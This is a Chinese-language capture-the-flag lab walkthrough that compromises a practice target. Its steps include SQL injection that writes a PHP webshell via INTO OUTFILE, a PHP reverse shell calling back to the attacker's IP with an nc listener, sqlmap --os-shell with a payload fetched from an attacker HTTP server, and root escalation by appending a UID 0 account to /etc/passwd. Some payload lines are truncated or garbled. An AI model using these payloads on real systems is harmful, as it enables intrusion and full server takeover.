信息收集

信息收集就略了,nmap就可以了,没有太多知识

你会收集到

1.网页绝对路径,这里通过sql注入上传文件或者通过sqlmap获取–os-shell会用到
2.http://靶场ip/se3reTdir777/index.php#
这是一个sql注入页面

SQL注入

先测试有无SQL注入漏洞,输入SQL注入测试神技'进行测试

提示我们存在SQL语句错误,表示这里存在SQL注入漏洞

接着暴库,爆字段,爆表常规操作下来你会发现没有任何收获~~~并没有flag哈哈哈

方案一

通过sql注入上传文件—->蚁剑连接—->反弹shell

编写一句话木马

通过sql注入恶意文件

-1' UNION SELECT 1, database(), SELECT '' INTO OUTFILE '/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/1.php'#

访问路径有回显证明注入并执行成功

接下来蚁剑连接,寻找flag发现没有权限

反弹shell

同理sql语句上传内容为

<?php$sock=fsockopen("靶场ip",8888);exec("/bin/sh -i &3 2>&3");?>

攻击机开始监听

nc -lvp 9999

蚁剑进入终端运行上面上传的文件

这时候观察攻击机监听,可见成功得到shell但是权限很低

但是发现www-data 具有写入 /etc/passwd 的权限,说明你可能有某种提权机会。

知识点:在Linux系统中,/etc/passwd 文件是存储用户账户信息的关键文件之一。该文件包含有关系统用户的基本信息,包括用户ID(UID)、组ID(GID)、家目录、默认shell等。

当一个非特权用户(例如,www-data)具有写入 /etc/passwd 的权限时,这可能暗示着潜在的提权机会。这是因为:

  1. 特权提升: 修改 /etc/passwd 文件允许你添加、修改或删除用户账户的信息,包括修改用户的UID、GID等。如果你能够成功地添加或修改一个具有特权的用户,那么通过这个用户可能实现提权。

  2. sudoers 文件修改: 如果你能够修改 /etc/passwd 文件,可能还能够修改 /etc/sudoers 文件。通过修改 sudoers 文件,你可以为自己或其他用户授予sudo权限,从而在系统上执行需要特权的操作。

  3. 恶意代码注入: 具有写入 /etc/passwd 权限的用户还可以通过恶意代码注入的方式实现特权提升。例如,通过修改用户的默认shell为一个具有特权的shell,或者在密码字段中插入恶意代码。

接下来提权

先使用python转换成交互式shell,这样方便理解

python -c 'import pty;pty.spawn("/bin/bash")'

使用命令:openssl passwd -1 -salt 用户名密码创建一个的账号

然后写入密码:

echo '用户名:密码:0:0::/root:/bin/bash'>>/etc/passwd

效果如下

移动到根目录进入root寻找flag

方案二

尝试使用sqlmap的–os-shell命令

–os-shell的执行原理:其本质就是在站点目录下写入两个文件。
命令可被执行的前提条件:
①站点数据库必须拥有root权限/管理员权限。 查看管理员可使用 –-is-dba (是管理员显示true,不是则显示false) 或 –-user 命令
②攻击者需掌握站点的绝对路径
③PHP主动转义功能关闭,既魔术引号功能关闭。
④站点 secure_file_priv无限制
root权限使用命令

sqlmap -u" " --data 'uid=1&peration=Submit' --level=3 --os-shell

已知页面使用 语言php和网页物理地址,进行选择获得os-shell

提权

使用python搭建一个简易的服务器

使用kali攻击机python2搭建一个简单的HTTP服务器,只需要在命令行下面敲一行命令,一个HTTP服务器就搭建起来了

python -m SimpleHTTPServer 端口号

python3 python2中的SimpleHTTPServer模块已合并到Python 3中,当将源转换为Python 3的http.server

python -m http.server 端口号

接下来通过os-shell访问这个服务下载恶意代码(kali攻击机ip)

&3 2>&3"); ?> 

kali攻击机根据代码接口进行监听

nc -lvp 端口

os-shell执行php shell.php

之后提权和方案1一样